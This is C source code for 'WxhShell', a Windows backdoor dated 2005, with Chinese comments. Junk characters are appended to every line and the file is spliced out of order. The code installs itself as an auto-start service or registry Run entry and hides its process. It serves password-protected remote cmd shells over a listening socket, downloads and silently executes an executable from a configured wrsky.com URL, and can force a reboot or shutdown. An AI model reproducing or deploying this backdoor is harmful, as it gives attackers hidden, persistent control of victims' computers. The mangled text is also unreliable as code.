    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jkAru_C  
    else { 06`caG|]-M  
    closesocket(wsh); l\!`ZhM,  
    ExitThread(0); b2RW=m-  
    } 9!0-~,o  
    break; vP_mS 4X  
    } Xc&J.Tw#4*  
  // 获取shell 'Tskx  
  case 's': { N7GZ'-t^Er  
    CmdShell(wsh); }9N-2]  
    closesocket(wsh); W"\+jHF"  
    ExitThread(0); of >  
    break; =L;g:hc<  
  } eT?vZH[N  
  // 退出 `uqe[u;`6  
  case 'x': { k^#*x2b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4^9qs%&  
    CloseIt(wsh); >wR)p\UEb  
    break; s7\Ee-x)s  
    } uz:r'+v  
  // 离开 x7i,jMR  
  case 'q': { :.f( }sCS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ezhfKt]j  
    closesocket(wsh); G7KOJZb+D  
    WSACleanup(); ,#9i=gp  
    exit(1); +i}uRO  
    break; MlLM $Y-@  
        } ,Ww.W'#P  
  } bIzBY+P  
  } &'/bnN +R  
1uEM;O  
  // 提示信息 QtcYFf g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DYrci?8Ith  
} #MviO!@  
  } b/tc D r  
Zrew}0  
  return; cV7a, *  
} BqavI&1=  
AmUH]+5KT  
// shell模块句柄 jN(c`Gb  
int CmdShell(SOCKET sock) Tt_QAIl  
{ ,>nf/c0.  
STARTUPINFO si; !<F5W <V  
ZeroMemory(&si,sizeof(si)); .3>q3sS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e:.D^G Fi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WopA7J,  
PROCESS_INFORMATION ProcessInfo; ]4'V59\  
char cmdline[]="cmd"; q4vHsy36  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '$4&q629d  
  return 0; OLGMy5  
} @Y ?p-&  
5kHU'D  
// 自身启动模式 VkId6k:>6C  
int StartFromService(void) M"Z/E>ne  
{ g>a% gVly  
typedef struct _UbyhBl  
{ _^$F^}{&  
  DWORD ExitStatus; ~| oB|>  
  DWORD PebBaseAddress; MRHRa  
  DWORD AffinityMask; n<eK\ w  
  DWORD BasePriority; 6I|9@~!y[  
  ULONG UniqueProcessId; f %P#.  
  ULONG InheritedFromUniqueProcessId; w;kiH+&  
}   PROCESS_BASIC_INFORMATION; >#`{(^  
z)R\WFBW  
PROCNTQSIP NtQueryInformationProcess; RF~c/en  
#8%~u+"N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 82 1 6_Qm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P` Gb }]rW  
d7Z$/ $  
  HANDLE             hProcess; I]Z"?T  
  PROCESS_BASIC_INFORMATION pbi; 2Y;iqR  
a!&m\+?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |T*t3}  
  if(NULL == hInst ) return 0; 3g0v,7,Zv  
YdYaLTz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qy-Hv6oof  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %4/X;w\3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g}BS:#$  
aq9Ej]1b  
  if (!NtQueryInformationProcess) return 0; kZcGe*  
N0YJ'.=8,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); awLSY:JI  
  if(!hProcess) return 0; ?9~|K/`l  
#qEUGD`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S@ItgG?X  
TUQe.oAi  
  CloseHandle(hProcess); jz I,B  
1NAtg*`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `R-VJR 2"  
if(hProcess==NULL) return 0; c =Zurqj  
m'2EiYX$}\  
HMODULE hMod; )-i(%;,*e  
char procName[255]; FX~pjM  
unsigned long cbNeeded; ;F/s!bupCM  
xoQqku"vn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iH-(_$f;  
BbgKaCq  
  CloseHandle(hProcess); {y<E_y x1  
'=UsN_@  
if(strstr(procName,"services")) return 1; // 以服务启动 n,p \~Tu,  
U.ew6`'Te  
  return 0; // 注册表启动 C-(O*hK  
} xz}=C:s  
%'9&JsO  
// 主模块 tU-jtJ  
int StartWxhshell(LPSTR lpCmdLine) A*W/Q<~I  
{ prGp/"E  
  SOCKET wsl; zKf0 :X  
BOOL val=TRUE; zH *7!)8  
  int port=0; KPa@~rU  
  struct sockaddr_in door; - ysd`&  
raZ0B,;eFu  
  if(wscfg.ws_autoins) Install(); )+a]M1j  
}5u;'>$  
port=atoi(lpCmdLine); ?cD_\~  
GJBMaT  
if(port<=0) port=wscfg.ws_port; K3`48,`?wA  
%:Zp7O2UB'  
  WSADATA data; Lnl-han%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {HP.HK  
|(5|6r3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fBP J8VY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 92^Dn`g  
  door.sin_family = AF_INET; ?9z1'6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aY %{?8PsB  
  door.sin_port = htons(port); #o(@S{(NZ  
#/WjKr n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /$UWTq/C7  
closesocket(wsl); l^v,X%{Iz  
return 1; =CL h<&  
} #3-hE  
C+-sf  
  if(listen(wsl,2) == INVALID_SOCKET) { q94*2@KV  
closesocket(wsl); n:JG+1I  
return 1; i]0$ 7s9!  
} LhKUZX,P8  
  Wxhshell(wsl); D!bi>]Yd  
  WSACleanup(); <-!' V,c  
)umW-A  
return 0; h6e,w$IL  
u6/;=]0   
} 0Pg@%>yb~  
V`LW~P;  
// 以NT服务方式启动 ^bXCYkx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R-\"^BV#Z  
{ SXmh@a"*\  
DWORD   status = 0; K(}<L-cv  
  DWORD   specificError = 0xfffffff; n s&(g^  
^I!gteU;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t\lx*_lr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 '7a`-W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RH;Kbu  
  serviceStatus.dwWin32ExitCode     = 0; Cta!"=\  
  serviceStatus.dwServiceSpecificExitCode = 0; D o!]t7Y$  
  serviceStatus.dwCheckPoint       = 0; Q8bn|#`  
  serviceStatus.dwWaitHint       = 0; 6hqqZ  
Y67i\U>?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %* @hS`  
  if (hServiceStatusHandle==0) return; p;{w0uld"  
P/8z  
status = GetLastError(); fU4{4M+9"  
  if (status!=NO_ERROR) '59l.  
{ liVDBbS_A?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l78 :.  
    serviceStatus.dwCheckPoint       = 0; i-&"1D[&  
    serviceStatus.dwWaitHint       = 0; 7`K)7  
    serviceStatus.dwWin32ExitCode     = status; 6 ZVD<C:\  
    serviceStatus.dwServiceSpecificExitCode = specificError; |( R[5q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZRCUM"R_  
    return; %l)~C%T  
  } ^r~R]stE^  
`O}bPwa{>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '8fh(`  
  serviceStatus.dwCheckPoint       = 0; 'a enh j  
  serviceStatus.dwWaitHint       = 0; 0"=}d y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x`p3I*_HT5  
} .y~~[QF}8  
"RsH'`  
// 处理NT服务事件,比如:启动、停止 yykyvy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) edh<L/%D  
{ '5n=tRx  
switch(fdwControl) JLV?n,nF  
{ XBHv V05mv  
case SERVICE_CONTROL_STOP: AmT*{Fz8  
  serviceStatus.dwWin32ExitCode = 0; c#(&\g2H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rD U"l{cg  
  serviceStatus.dwCheckPoint   = 0; WFFpW{  
  serviceStatus.dwWaitHint     = 0; ~uu~NTz  
  { WWWfQ_u2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F84?Mi{r2  
  } , MU9p*  
  return; aV?r%'~Z  
case SERVICE_CONTROL_PAUSE: Jl,\^)DSw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ] mvVX31T  
  break; iMOf];O)  
case SERVICE_CONTROL_CONTINUE: TZk.h8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lpeo^Y}N  
  break; Q mn'G4#@E  
case SERVICE_CONTROL_INTERROGATE: E{6X-C[)v  
  break; =u]FKY  
}; eFCXjM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t8FgQ)tk  
} MFLw^10(T  
w'Q2Czso  
// 标准应用程序主函数 sR*JU%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {1`n^j(>  
{ .[#bOp*  
\Rvsy;7  
// 获取操作系统版本 Bn{0-5nj  
OsIsNt=GetOsVer(); ?GKm_b]JC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L\UM12  
<x2 F5$@  
  // 从命令行安装 MEn#MT/Cz  
  if(strpbrk(lpCmdLine,"iI")) Install(); &:)e   
x+5y287#  
  // 下载执行文件 T89VSB~  
if(wscfg.ws_downexe) { N\ dr_   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SvGs?nUU  
  WinExec(wscfg.ws_filenam,SW_HIDE); s *1%I$=@  
} E|Z7art  
._z[T@!9  
if(!OsIsNt) { \:wLUGFl 5  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ g[A{  
HideProc(); 6WnGP>tc.  
StartWxhshell(lpCmdLine); 7 }sj&  
} 6KI< J*Wz`  
else |1(9_=i'  
  if(StartFromService()) m =2e1wc  
  // 以服务方式启动 LlG~aGhel  
  StartServiceCtrlDispatcher(DispatchTable); 8?7:sfc  
else iP~dH/B|v  
  // 普通方式启动 tC -H2@  
  StartWxhshell(lpCmdLine); da&f0m U  
_Uz}z#jt  
return 0; CVFsp>+  
} T"m(V/L$W  
F I\V6\B/  
VG`A* Vj  
>zDnJb&"&  
=========================================== tY=n("=2  
D`^9 u K  
?V&[U  
d\ Z#XzI8  
~X -.@k'  
v+Q# O[  
" (_lc< Bj  
'u2Qq"d+  
#include <stdio.h> Sm%MoFf  
#include <string.h> ?k:i3$  
#include <windows.h> QYL ';  
#include <winsock2.h> BOp&s>hI  
#include <winsvc.h> LvNk:99:<  
#include <urlmon.h>  VgNt  
$0zH2W  
#pragma comment (lib, "Ws2_32.lib") ZWJFd(6  
#pragma comment (lib, "urlmon.lib")  Dk fw*Oo  
TY|]""3 f9  
#define MAX_USER   100 // 最大客户端连接数 1xo<V5  
#define BUF_SOCK   200 // sock buffer prY9SQd  
#define KEY_BUFF   255 // 输入 buffer ]X)EO49  
}?Y+GT"E  
#define REBOOT     0   // 重启 VmB/X))   
#define SHUTDOWN   1   // 关机 (IR'~ :W  
k|7XC@i]%  
#define DEF_PORT   5000 // 监听端口 'm=9&?0S  
r8 M/E lbk  
#define REG_LEN     16   // 注册表键长度 $*H>n!&  
#define SVC_LEN     80   // NT服务名长度 LHWh-h(s  
A4?_ 0:<  
// 从dll定义API -3r&O:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !lF|90=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6X:- Z 3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {hM*h(W~3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~I>B5^3  
U9xFQ=$ 2  
// wxhshell配置信息 @]HV:7<q  
struct WSCFG { JqH2c=}-  
  int ws_port;         // 监听端口 OX4+1@$tk  
  char ws_passstr[REG_LEN]; // 口令 EQ>bwEG  
  int ws_autoins;       // 安装标记, 1=yes 0=no .-N9\GlJ,d  
  char ws_regname[REG_LEN]; // 注册表键名 ;r[=q u\  
  char ws_svcname[REG_LEN]; // 服务名 xTM&SVNbL_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "FaG5X(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RS/%uxS?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nu{RF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |[ |X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'F+O+-p+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /7h%sCX  
}~-)31e'`  
};  \'"q6y  
-zz9k=q  
// default Wxhshell configuration ][bz5aV  
struct WSCFG wscfg={DEF_PORT, _ #l b\  
    "xuhuanlingzhe", );;UNO21+  
    1, Z-H Kdv!d  
    "Wxhshell", u6jJf@!ws  
    "Wxhshell", (s{%XB:K  
            "WxhShell Service", Af0E_  
    "Wrsky Windows CmdShell Service", a@,tf'Sr  
    "Please Input Your Password: ", S-yd-MtQp  
  1, xMhR;lKY  
  "http://www.wrsky.com/wxhshell.exe", YKl!M/  
  "Wxhshell.exe" ,^o^@SI)   
    }; mXF pGo5 s  
<z)MV oa  
// 消息定义模块 zAB-kE\ )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [;5HI'px  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qg6Hk:^r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,l7ty#j  
char *msg_ws_ext="\n\rExit."; 6aQ{EO-]'=  
char *msg_ws_end="\n\rQuit."; jO:<"l^+u  
char *msg_ws_boot="\n\rReboot..."; }+#ag:M  
char *msg_ws_poff="\n\rShutdown..."; qm]ljut  
char *msg_ws_down="\n\rSave to "; #>ci!4Gz=Z  
K{>O. 5  
char *msg_ws_err="\n\rErr!"; ^"+cJ)  
char *msg_ws_ok="\n\rOK!"; AD?^.<  
dGh<R|U3  
char ExeFile[MAX_PATH]; 5'V'~Q%  
int nUser = 0; r?/>t1Z  
HANDLE handles[MAX_USER]; HNjkRl)QR  
int OsIsNt; 2 >xV&  
Gh|1%g"gm  
SERVICE_STATUS       serviceStatus; +S%@/q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E4y"$U%.  
! 2Y, a  
// 函数声明 l/rhA6kEU  
int Install(void); gYzKUX@  
int Uninstall(void); 9fl !CG  
int DownloadFile(char *sURL, SOCKET wsh); {Y'_QW1:2  
int Boot(int flag); YN>#zr+~  
void HideProc(void); ?QVD)JI*k  
int GetOsVer(void); Cv$TNkP*  
int Wxhshell(SOCKET wsl); cS ];?tqrA  
void TalkWithClient(void *cs); 4N` MY8',  
int CmdShell(SOCKET sock); #2HygS  
int StartFromService(void); aeBth{  
int StartWxhshell(LPSTR lpCmdLine); 4VU5}"<  
~Nc] `95  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "hlIGJ?_=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oHi&Z$#!n  
`(o1&  
// 数据结构和表定义 dnIBAe  
SERVICE_TABLE_ENTRY DispatchTable[] = g\ *gHHa  
{ P<4jY?.  
{wscfg.ws_svcname, NTServiceMain}, BTd'bD~EA  
{NULL, NULL} LK:|~UV?  
}; 6gR=e+  
[[ s k  
// 自我安装 Y?%6af+  
int Install(void) @MB;Ez v  
{ >9u6@  
  char svExeFile[MAX_PATH]; 5E!|-xD  
  HKEY key; ^jmnE.8R  
  strcpy(svExeFile,ExeFile); / V {w<  
0U/:Tpyr  
// 如果是win9x系统,修改注册表设为自启动 *iC t4J  
if(!OsIsNt) {  B-&J]H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P^h2w%6'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7L-%5:1%  
  RegCloseKey(key); x6)   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RXWjFv~/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s9E:6  
  RegCloseKey(key); WVN Q}KY  
  return 0; }=GyBnXu  
    } iPFYG  
  } HK[sHB&  
} GO?-z0V  
else { ~l}TlRqL  
%ri4nKGS  
// 如果是NT以上系统,安装为系统服务 BklB3*n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E$ngmm[  
if (schSCManager!=0) g3Xz-  
{ <hK$Cf_  
  SC_HANDLE schService = CreateService PO%]Jme  
  ( |t]9RC.;7  
  schSCManager, ToMX7xz6  
  wscfg.ws_svcname, .i=%gg  
  wscfg.ws_svcdisp, quKD\hL$  
  SERVICE_ALL_ACCESS, uRL3v01?H0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AV2q*  
  SERVICE_AUTO_START, 5r+0^UAO:J  
  SERVICE_ERROR_NORMAL, %DV@2rC<  
  svExeFile, VUnEI oKM  
  NULL, e:,.-Kvzp`  
  NULL, x1}q!)e  
  NULL, q;>BltU  
  NULL, d#b{4zF"  
  NULL zPw R1>gL  
  ); "pWdz}!  
  if (schService!=0) AQiP2`?  
  { - 5k4vx N}  
  CloseServiceHandle(schService); OUdeQO?  
  CloseServiceHandle(schSCManager); Bs1-UI}+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =)zq %d?i;  
  strcat(svExeFile,wscfg.ws_svcname); _+Q$h4t   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Asn0&Ys4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gqia@>T4*N  
  RegCloseKey(key); W?l .QQk  
  return 0; 7GIv3Dc  
    } v:HgpZo+  
  } b?bYPN+  
  CloseServiceHandle(schSCManager); zgRP!q<9tt  
} e N-{  
} vXnpx}B  
{tT`It  
return 1; ~NcJLU!au  
} 7YN)T?  
a[$.B2U  
// 自我卸载 g~y9j88?  
int Uninstall(void) G4{qWa/  
{ 2?r8>#_*  
  HKEY key; r2](~&i2  
fM|g8(TK,  
if(!OsIsNt) { bK].qN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : te xl  
  RegDeleteValue(key,wscfg.ws_regname); 6>L.)V  
  RegCloseKey(key); tZ@ +18  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z1FbW&V  
  RegDeleteValue(key,wscfg.ws_regname); D}061~zb$  
  RegCloseKey(key); eFnsf}(Iy  
  return 0; n% ` r  
  } (O-)uC  
} ~c="<xBE  
} z^Jl4V  
else { .3U[@*b(  
`HS4(2+C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "~(&5M\8`  
if (schSCManager!=0) <bx9;1C>zd  
{ <?zTnue  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h/fCCfO,  
  if (schService!=0) ^i8I 1@ =  
  { #w*pWD^  
  if(DeleteService(schService)!=0) { lQsQRp  
  CloseServiceHandle(schService); {.lF~cOu  
  CloseServiceHandle(schSCManager); E&>,B81  
  return 0; ommKf[h%i  
  } *QG3Jz  
  CloseServiceHandle(schService); YMi(Cyja&  
  } }]~}DHYr  
  CloseServiceHandle(schSCManager); ) *A,L%  
} '<0q"juXE  
}  q%k+x)  
TN %"RL  
return 1; bSr 'ji  
} 6oP{P_Pxi  
h3kHI?jMWG  
// 从指定url下载文件 tRy D@}  
int DownloadFile(char *sURL, SOCKET wsh) FR}H$R7#  
{ . ?p}:  
  HRESULT hr; 2 &Byq  
char seps[]= "/"; R2$U K  
char *token; bS<@Rd{g  
char *file; & .?HuK  
char myURL[MAX_PATH]; ' 4~5ez|:  
char myFILE[MAX_PATH]; *!'&:  
mU=6"A0 U  
strcpy(myURL,sURL); |\a:]SlH  
  token=strtok(myURL,seps); Xo@YTol  
  while(token!=NULL) s3M84wz  
  { x ct U.)p  
    file=token; Idlu1g  
  token=strtok(NULL,seps); | sFe:TX  
  } |nEV Oy>'  
:6u3Mj{  
GetCurrentDirectory(MAX_PATH,myFILE); e9W7ke E*  
strcat(myFILE, "\\"); ` (D4gPW  
strcat(myFILE, file); '%EZoc/U  
  send(wsh,myFILE,strlen(myFILE),0); d# 3tQ*G/  
send(wsh,"...",3,0); LO]6Xd"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]|N4 #4  
  if(hr==S_OK) QklNw6,  
return 0; f%{Tu`  
else Z) Xs;7  
return 1; B Z?W>'B%$  
aEDN]O95?  
} zcB 2[eaV  
b.4Xn0-M  
// 系统电源模块 "rGOw'!q>  
int Boot(int flag) y<`?@(0$  
{ q.MVF]  
  HANDLE hToken; xD  
  TOKEN_PRIVILEGES tkp; rh`.$/^  
Yg)V*%0n  
  if(OsIsNt) { M%{?\)s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g`OOVaB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -(w~LT$ "  
    tkp.PrivilegeCount = 1; zw: C*sY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 1~7{#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b%;59^4AjD  
if(flag==REBOOT) { JYd7@Msfc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b;L>%;  
  return 0; }E5#X R  
} )_v\{N  
else { )@qup _M@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (a}  
  return 0; fcICFReyV  
} W3/ 7BW`  
  } 5)yOw|Bd  
  else { ChTXvkdH  
if(flag==REBOOT) { 6B''9V:s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PDIclIMS'F  
  return 0; 5ttMua <G?  
} 9U)t@b  
else { ahtYSz_FM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V-_/(xt*  
  return 0; Hl3)R*&'J  
} 3u*hT T  
} wm=RD98  
kwHqvO!G  
return 1; VkpHzr[k  
} NaA+/:  
i~)N QmH<  
// win9x进程隐藏模块 Px?Ao0)Z,  
void HideProc(void) 'qV3O+@MF  
{ HmExfW  
A/"}Y1#qX\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -~][0PVL9  
  if ( hKernel != NULL ) NQC3!=pQ}Y  
  { j`R<90~/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C.>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i<m$#6 <Z  
    FreeLibrary(hKernel); h}|6VJ@.  
  } 1s`)yu^`v  
U,<]J*b(@4  
return; C ]'g:93L  
} "#pzZ)Zh  
>+ ]R4  
// 获取操作系统版本 f]8!DXEA  
int GetOsVer(void) ejklpa ./  
{ $(gGoL<  
  OSVERSIONINFO winfo; &Vt2be*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &xiOTkqB  
  GetVersionEx(&winfo); ;cI#S%uvpn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i-,D_   
  return 1; d=XpO*v,[  
  else dC` tN5  
  return 0; _1sMYhI  
} L)F1NuR  
'j,oIqx  
// 客户端句柄模块 kG1;]1tT#  
int Wxhshell(SOCKET wsl) Sty! atEWT  
{ jJ a V  
  SOCKET wsh; lwOf)jK:J  
  struct sockaddr_in client; s>|Z7[*  
  DWORD myID; 0e+W/Tq  
>5;N64]!)  
  while(nUser<MAX_USER) Y{Da+  
{ e&QS#k  
  int nSize=sizeof(client); /vjGjb=3U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J/'M N  
  if(wsh==INVALID_SOCKET) return 1; wE$s'e  
U:]MgZWn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F7{R~mS;  
if(handles[nUser]==0) c>ad0xce6  
  closesocket(wsh); 1")FWN_K/T  
else p9-0?(]  
  nUser++; lC#RNjDp/~  
  } G02ox5X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e?V,fzg  
~G>jw"r  
  return 0; TbLe6x  
} Q,.By&  
3;*z3;#}  
// 关闭 socket ?7 #7:  
void CloseIt(SOCKET wsh) 6b?`:$Cw3)  
{ P:sAqvH6  
closesocket(wsh); +z\\VD  
nUser--;  I>A^I  
ExitThread(0); ]gu1#  
} 6Rcu a<;2P  
n]+.  
// 客户端请求句柄 ; XG]Q<S\  
void TalkWithClient(void *cs) BhKO_wQ?:J  
{ L=,OZ9aA  
}YQ:6I  
  SOCKET wsh=(SOCKET)cs; qZaO&"q  
  char pwd[SVC_LEN]; mD7}t  
  char cmd[KEY_BUFF]; \a\= gn   
char chr[1]; %3M95UZ2  
int i,j; TPHYz>D]  
-!c IesK;<  
  while (nUser < MAX_USER) { 0p-#f|ET  
FV A UR  
if(wscfg.ws_passstr) { IX9K.f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0[/vQ+O]2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -kl;!:'.3  
  //ZeroMemory(pwd,KEY_BUFF); $uCiXDKCq  
      i=0; XaW4C-D&  
  while(i<SVC_LEN) { bGN 54{f  
OX+hZ<y  
  // 设置超时 6lsL^]7  
  fd_set FdRead; *>k!hq;j  
  struct timeval TimeOut; Q',m{;;  
  FD_ZERO(&FdRead); EX:{EmaT  
  FD_SET(wsh,&FdRead); W,3zL.qH"  
  TimeOut.tv_sec=8; o(qEkR:4kd  
  TimeOut.tv_usec=0; /xySwSmh3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3 >|uF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -Q$b7*"z(  
-#aZF2z   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'M8aW!~  
  pwd=chr[0]; Wr5Q5s)c  
  if(chr[0]==0xd || chr[0]==0xa) { hK(tPl$  
  pwd=0; vU!8`x)  
  break; :.$"kXm^  
  } ?; [ T  
  i++; )lh8 k {  
    } IaLMWoh  
V&i2L.{G)  
  // 如果是非法用户,关闭 socket .+yW%~0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R)+t]}  
} R& #tSL  
7^MX l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d+6]u_J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P16YS8$  
)~V }oKk0t  
while(1) { 5Z{_m;I.   
4T`&Sl  
  ZeroMemory(cmd,KEY_BUFF); B'}"AC"  
+8AvTSgX%  
      // 自动支持客户端 telnet标准   *Y%Jl o  
  j=0; ~*}$>@f{[X  
  while(j<KEY_BUFF) { WPo:^BD   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +`.,| |Mq  
  cmd[j]=chr[0]; Q[PK`*2)  
  if(chr[0]==0xa || chr[0]==0xd) { -[DWM2C$K4  
  cmd[j]=0; @2 =z}S3O  
  break; \9)#l#m  
  } L-\ =J  
  j++; d(7NO;S8  
    } /v#)f-N%zs  
h^oH^moq<  
  // 下载文件 #. ct5  
  if(strstr(cmd,"http://")) { }ptMjT{9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .!RavEg+  
  if(DownloadFile(cmd,wsh)) UTCzHh1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,l HLH  
  else {)@D`{$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m`6VKp{YD  
  } y=aV=qD  
  else { *1^$.Q&  
cp6WMHLj   
    switch(cmd[0]) { >72JV; W]  
  30Drrno7Io  
  // 帮助 dE5D3ze  
  case '?': { xA h xD|4_  
